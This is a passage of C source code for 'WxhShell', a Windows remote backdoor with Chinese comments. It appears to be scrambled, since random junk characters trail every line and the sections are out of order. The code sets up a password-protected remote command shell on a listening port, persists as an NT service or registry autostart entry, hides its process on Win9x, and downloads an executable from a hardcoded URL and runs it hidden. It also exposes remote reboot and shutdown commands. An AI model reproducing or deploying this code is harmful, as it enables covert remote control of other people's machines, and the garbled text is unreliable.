DWORD PebBaseAddress; R0A|}Ee*
DWORD AffinityMask; N7
FndB5%
DWORD BasePriority; ]~K&b96(
ULONG UniqueProcessId; ~EL3I
ULONG InheritedFromUniqueProcessId; G=ly .
} PROCESS_BASIC_INFORMATION; =G,wR'M
!K[UJQs\
PROCNTQSIP NtQueryInformationProcess; qbsmB8rh
pRys 5/&v
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; u$38"&cmA
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !ay:h
Iv
p.^qB]%
HANDLE hProcess;
B8~JUGD
PROCESS_BASIC_INFORMATION pbi; X;&Iu{&=
m0Geq.
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }nUq=@ej
if(NULL == hInst ) return 0; SYE+A`a
2t[P-on
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); A+w'quXn
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }Be;YIhG
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); h0O t>e"
!y\r.fm!A
if (!NtQueryInformationProcess) return 0; L}a-c(G+8
&pzf*|}
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }NJKkj?
if(!hProcess) return 0; 'w z6Zt
YT`,f*t
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; {Z,_/@}N
.C*mDi)wZ
CloseHandle(hProcess); %;eD.If}
-^aJ}[uaI
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); [o"<DP6w
if(hProcess==NULL) return 0; ?:$\
t?e^
, UsY0YC
HMODULE hMod; i$5<>\g
char procName[255]; OU
esL9
unsigned long cbNeeded; &.l^> #
hGy[L3{
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ?Xl;>}zj
D){my_
/
CloseHandle(hProcess); 48IrC_0j
S"4eS,5L|
if(strstr(procName,"services")) return 1; // 以服务启动 @xXVJWEU:
nZ'-3
return 0; // 注册表启动 ?XbM
} =%ok:+D]
y1)ZO_'
// 主模块 yT~rql
int StartWxhshell(LPSTR lpCmdLine) -|GKtZ]}
{ uCr :+"C
SOCKET wsl; \(A A|;
BOOL val=TRUE; @jxP3:s
int port=0; Rb!y(&>v
struct sockaddr_in door; 02_+{vk!
mCyn:+
if(wscfg.ws_autoins) Install(); GXp`yK9c
J= [D'h
port=atoi(lpCmdLine); yAiO._U
j'k
<
if(port<=0) port=wscfg.ws_port; jsFfrS"*
lvsj4cT
WSADATA data; !-t,r%CG
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Vw|P;LLl`
M#_|WL~
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; F8S>Ld
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); f{.4#C'
door.sin_family = AF_INET; q{ [!" ,
door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]|-sZ<?<i
door.sin_port = htons(port); '451H3LC0
b'W.l1]<-
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Q5^ #:uZ
closesocket(wsl); Vu,e]@
return 1; Y4C<4L?
} P)l_ :;&
f"*k>=ETI
if(listen(wsl,2) == INVALID_SOCKET) { &|<f|BMX
closesocket(wsl); iF9d?9TWl
return 1; o! l Ykud
} )n]"~I^
Wxhshell(wsl); :r>^^tGT!
WSACleanup(); pM^Z C
_6SAU8M,
return 0; <5?pa3
o_1N "o%
} kO5lLqE
cNbUr
// 以NT服务方式启动 1ysQvz
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8t3m$<7
{ P)kJ[Zv>f
DWORD status = 0; ^v`naA(
DWORD specificError = 0xfffffff; ftG3!}
o]Xt2E
serviceStatus.dwServiceType = SERVICE_WIN32; 41x"Q?.bY
serviceStatus.dwCurrentState = SERVICE_START_PENDING; /O5&)%N
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; eP,bFc
serviceStatus.dwWin32ExitCode = 0; QtwQVOK
serviceStatus.dwServiceSpecificExitCode = 0; Wqkb1~]#Y
serviceStatus.dwCheckPoint = 0; o{6q>Jm
serviceStatus.dwWaitHint = 0; \{}dn,?Fv
N+ak{3
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 0-uw3U<
if (hServiceStatusHandle==0) return; X Z . T%g
_6Y+E"@zs
status = GetLastError(); lXg5UrW
if (status!=NO_ERROR) vQ
L$.A3>
{ 4-t^?T:qF
serviceStatus.dwCurrentState = SERVICE_STOPPED; 5f{P% x(
serviceStatus.dwCheckPoint = 0; :\vs kk),
serviceStatus.dwWaitHint = 0; |{&M#qXe
serviceStatus.dwWin32ExitCode = status; )S
7+y6f&*
serviceStatus.dwServiceSpecificExitCode = specificError; r\d(*q3B
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 43pe6 ^.
return; |mP};&b
} @AF<Xp{
V^,eW!
serviceStatus.dwCurrentState = SERVICE_RUNNING; gfs ;?vP
serviceStatus.dwCheckPoint = 0; zGFD71=#
serviceStatus.dwWaitHint = 0; i84!x%|P
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); <:V~_j6P0
} tEL9hZzI
veHe
// 处理NT服务事件,比如:启动、停止 w`;HwK$ ,
VOID WINAPI NTServiceHandler(DWORD fdwControl) fz\Q>u'T
{ UXlZI'|He
switch(fdwControl) KW(a@X
{ +i!5<nn
case SERVICE_CONTROL_STOP: 4;I\%qes
serviceStatus.dwWin32ExitCode = 0; |DV?5>>
serviceStatus.dwCurrentState = SERVICE_STOPPED; ~W [I
serviceStatus.dwCheckPoint = 0; mwo:+^v(
serviceStatus.dwWaitHint = 0; !(rAI
{ QXZyiJX}
SetServiceStatus(hServiceStatusHandle, &serviceStatus); `XhH{*Q"X
} qx'0(q2Ii(
return; c7jmzo
case SERVICE_CONTROL_PAUSE: X+C*+k,z
serviceStatus.dwCurrentState = SERVICE_PAUSED; a8f#q]TyQ
break; %\v8FCb
case SERVICE_CONTROL_CONTINUE: aknIrblS\
serviceStatus.dwCurrentState = SERVICE_RUNNING; &yvvea]
break; F)(^c
case SERVICE_CONTROL_INTERROGATE: gLB(A\yG
break; %W"u4
NT7
}; uMEM7$o
SetServiceStatus(hServiceStatusHandle, &serviceStatus); vY-CXWC7
} \ dFE.4
g5|~i{"0
// 标准应用程序主函数 oGRk/@
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) =nGFLH6)
{ HbegdbTJ
3l~+VBR_
// 获取操作系统版本 BYB4-,
OsIsNt=GetOsVer(); $G-<kC}8:
GetModuleFileName(NULL,ExeFile,MAX_PATH); KGYbPty}
4LKpEl.=
// 从命令行安装 :Ln)j%&
if(strpbrk(lpCmdLine,"iI")) Install(); |gA@WV-%
(T_-`N|
// 下载执行文件 hO]F\0+
if(wscfg.ws_downexe) { b3^:Bh9
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `*3A7y
WinExec(wscfg.ws_filenam,SW_HIDE); z_!IA
] v
} ==OUd6e}
/)6T>/
if(!OsIsNt) { &t[[4+Qt
// 如果时win9x,隐藏进程并且设置为注册表启动 `9co7[Z
HideProc(); UDh\%?j
StartWxhshell(lpCmdLine); (N}-]%#
} ~;3yjO)l?)
else !?nO0Ao-$
if(StartFromService()) KClkPL!jP
// 以服务方式启动 y#j7vO
StartServiceCtrlDispatcher(DispatchTable); DjM*U52Yfj
else sfyLG3$/
// 普通方式启动 LN|(Z*
StartWxhshell(lpCmdLine); 5rows]EJJl
Jy)=TJ!y
return 0; w'K7$F51
} CefFUqo4
Q>, &@
z2iMpZ
(oGYnN,2
=========================================== xoKK{&J
Byc;r-Q5V
J'}+0mln
]p`y
l8FJ \5'M
5vyg-'
" s<zN`&t
lxyTh'
#include <stdio.h> )8A.Wg4S;c
#include <string.h> ! :&SfPv
#include <windows.h> ,VS\ mG/}s
#include <winsock2.h> M-nRhso
#include <winsvc.h> i1cd9
#include <urlmon.h> 0vqVE]C
ubM1Q r
#pragma comment (lib, "Ws2_32.lib") ZaYiby@Ci
#pragma comment (lib, "urlmon.lib") g8Ex$,\,
.;4N:*hY
#define MAX_USER 100 // 最大客户端连接数 9^XZ|`
#define BUF_SOCK 200 // sock buffer ^I!Z)/
#define KEY_BUFF 255 // 输入 buffer I?'*vAW<
8\rca:cF
#define REBOOT 0 // 重启 #yochxF_
#define SHUTDOWN 1 // 关机 f)*?Ji|5F
vwT1bw .
#define DEF_PORT 5000 // 监听端口 J@2jx4
Zi~.
#define REG_LEN 16 // 注册表键长度 1m~|e.g_'`
#define SVC_LEN 80 // NT服务名长度 pTCD1)
K=N&kda
// 从dll定义API dHDtY$/_
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 3gUY13C}:p
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); z\m$>C|
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); U4"^NLAq
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); v#?DWeaFS_
?{ )'O+s
// wxhshell配置信息 ;0dH@b
struct WSCFG { @rYZ0`E9
int ws_port; // 监听端口 +j 9+~
char ws_passstr[REG_LEN]; // 口令 N|yA]dg[
int ws_autoins; // 安装标记, 1=yes 0=no VeWh9:"bJ
char ws_regname[REG_LEN]; // 注册表键名 *:CTIV5N0
char ws_svcname[REG_LEN]; // 服务名 !igPyhi,hl
char ws_svcdisp[SVC_LEN]; // 服务显示名 @&m [w'tn
char ws_svcdesc[SVC_LEN]; // 服务描述信息 D,cD]tB2
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 v@{y}
int ws_downexe; // 下载执行标记, 1=yes 0=no rN&fFI
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^aB;Oo
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 g$uiwqNA%
wO,qFY
}; +S~ u ,=
jr`T6!\
// default Wxhshell configuration ]Ozz"4Z
struct WSCFG wscfg={DEF_PORT, E{Wn&?i>A
"xuhuanlingzhe", k9
r49lb
1, nk|(cyt)
"Wxhshell", vFe=AY<Rt|
"Wxhshell", t\/H. Hb
"WxhShell Service", E<yQB39
"Wrsky Windows CmdShell Service", (d&" @
"Please Input Your Password: ", 1'hpg>U
1, wo&IVy@s$
"http://www.wrsky.com/wxhshell.exe", "o--MBq4
"Wxhshell.exe" (f&V 7n
}; :$G^TD/n
:rr<#F
// 消息定义模块 zu}uW,XH-
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Vx!ZF+
char *msg_ws_prompt="\n\r? for help\n\r#>"; I%4eX0QY=z
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; dcrvEc_/
char *msg_ws_ext="\n\rExit."; =#2%[kG q
char *msg_ws_end="\n\rQuit."; lz`\Q6rZ
char *msg_ws_boot="\n\rReboot..."; &- p(3$jn7
char *msg_ws_poff="\n\rShutdown..."; ~~{lIO)&